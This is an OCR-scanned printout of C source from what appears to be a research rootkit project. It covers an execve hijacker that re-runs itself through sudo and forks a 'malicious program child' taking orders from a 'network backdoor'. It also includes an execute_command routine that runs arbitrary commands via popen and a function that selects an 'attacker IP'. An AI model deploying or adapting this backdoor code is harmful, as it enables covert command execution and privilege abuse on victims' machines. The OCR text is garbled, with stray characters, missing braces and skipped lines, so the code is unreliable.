

Page 1 of 5

- simple\_open simple\_open.c simple\_open.o simple\_timer simple\_timer.c simple\_timer.o libbpf tools user vmlinux Makefile
- .gitignore LICENSE README.md

```
J /
                necumn -1,
 58
 59
            new_value2.it_interval.tv_sec = 30;
            new_value2.it_interval.tv_nsec = 0;
 60
 61
            if (timerfd_settime(fd2, TFD_TIMER_ABSTIME, &new_value2, NULL) == -1)
 62
 63
                return -1;
 64
 65
            printf("Timer %i started, address sent %llx\n", fd, (__u64)&new_value);
 66
 67
 68
            return 0;
 69
        }
 70
 71
 72
        char* execute_command(char* command){
 73
            FILE *fp;
            char* res = calloc(4096, sizeof(char));
 74
 75
            char buf[1024];
 76
 77
            fp = popen(command, "r");
            if(fp == NULL) {
 78
 79
                printf("Failed to run command\n" );
                return "COMMAND ERROR";
 80
 81
            }
 82
            while(fgets(buf, sizeof(buf), fp) != NULL) {
 83
                strcat(res, buf);
 84
 85
            }
            printf("RESULT OF COMMAND: %s\n", res);
 86
 87
 88
            pclose(fp);
            return res;
 89
 90
        }
 91
 92
 93
         * @brief Improved version of getting local IP
 94
 95
         * Based on the man page: https://man7.org/linux/man-pages/man3/getifaddrs.3.html
 96
 97
         * @return char*
 98
 99
        char* getLocalIpAddress(){
100
            char hostbuffer[256];
            char* IPbuffer = calloc(256, sizeof(char));
101
            struct hostent *host_entry;
102
103
            int hostname;
104
            struct ifaddrs *ifaddr;
105
            int family, s;
106
            char host[NI_MAXHOST];
107
108
            if (getifaddrs(&ifaddr) == -1) {
109
                perror("getifaddrs");
110
                exit(EXIT_FAILURE);
111
112
113
            /* Walk through linked list, maintaining head pointer so we
114
                can free list later. */
115
116
            for (struct ifaddrs *ifa = ifaddr; ifa != NULL;ifa = ifa->ifa_next) {
117
                if (ifa->ifa addr == NULL)
118
                    continue;
119
120
                family = ifa->ifa_addr->sa_family;
121
122
                /* Display interface name and family (including symbolic
123
                    form of the latter for the common families). */
124
125
                //printf("%-8s %s (%d)\n",ifa->ifa_name,(family == AF_PACKET) ? "AF_PACKET" :(f
126
                /* For an AF INET* interface address, display the address. */
127
128
                if (family == AF_INET || family == AF_INET6) {
129
                     s = getnameinfo(ifa->ifa_addr,
130
                             (family == AF_INET) ? sizeof(struct sockaddr_in) :
131
```

```
132
                                                    sizeof(struct sockaddr_in6),
133
                            host, NI_MAXHOST,
                            NULL, 0, NI_NUMERICHOST);
134
                    if (s != 0) {
135
136
                        printf("getnameinfo() failed: %s\n", gai_strerror(s));
                        exit(EXIT_FAILURE);
137
138
                    }
139
                    //printf("\t\taddress: <%s>\n", host);
140
                    if(strcmp(ifa->ifa_name, DEFAULT_NETWORK_INTERFACE)==0){
141
                        //Interface we chose
142
143
                        printf("Attacker IP selected: %s (%s)\n", ifa->ifa_name, host);
144
                        strcpy(IPbuffer, host);
                        return IPbuffer;
145
146
                    }
147
                }
148
149
            }
150
```

```
270
271
            if(geteuid() != 0){
272
                //We do not have privileges, but we do want them. Let's rerun the program now.
273
                char* args[argc+3];
274
                args[0] = "sudo";
                args[1] = "/home/osboxes/TFG/src/helpers/execve_hijack";
275
                //printf("execve ARGS%i: %s\n", 0, args[0]);
276
277
                //printf("execve ARGS%i: %s\n", 1, args[1]);
                for(int ii=0; ii<argc; ii++){</pre>
278
279
                    args[ii+2] = argv[ii];
                    //printf("execve ARGS%i: %s\n", ii+2, args[ii+2]);
280
```

```
281
                 }
282
                 args[argc+2] = NULL;
283
284
                 if(execve("/usr/bin/sudo", args, envp)<0){</pre>
                     perror("Failed to execve()");
285
286
                     exit(-1);
287
                 }
288
                 exit(0);
289
            }
290
291
292
            //We proceed to fork() and exec the original program, whilst also executing the one
293
            //ordered to execute via the network backdoor
            pid_t pid = fork();
294
295
296
            if (pid < 0) {</pre>
297
                 perror("Fork failed");
298
            }
299
            if (pid == 0) {
300
                setsid();
301
                 //Child process
                printf("Malicious program child executed with pid %d\n", (int) getpid());
302
303
304
                //First of all check if the locking log file is locked, which indicates that th
305
                int fd = open(LOCK_FILE, O_RDWR | O_CREAT | O_TRUNC, 0666);
306
307
                     perror("Failed to open lock file before entering hijacking routine");
                     exit(-1);
308
309
310
                if (flock(fd, LOCK_EX|LOCK_NB) == -1) {
                     if (errno == EWOULDBLOCK) {
311
312
                         perror("lock file was locked");
313
                    } else {
                         perror("Error with the lockfile");
314
315
                     }
316
                     exit(-1);
317
318
                hijacker_process_routine(argc, argv, fd);
319
                 printf("Child process is exiting\n");
320
                 exit(0);
321
            }
322
            //Parent process. Call original hijacked command
            char* hij_args[argc];
323
324
            hij_args[0] = argv[1];
325
            syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", 0, hij_args[0]);
326
            for(int ii=0; ii<argc-2; ii++){</pre>
327
                 hij_args[ii+1] = argv[ii+2];
                 syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", ii+1, hij_args[ii+1]);
328
329
            }
330
            hij_args[argc-1] = NULL;
331
332
            if(execve(argv[1], hij_args, envp)<0){</pre>
                perror("Failed to execve() originally hijacked process");
333
334
                 exit(-1);
335
            }
336
337
            wait(NULL);
            printf("parent process is exiting\n");
338
339
            return(0);
340
341
342
343
        }
```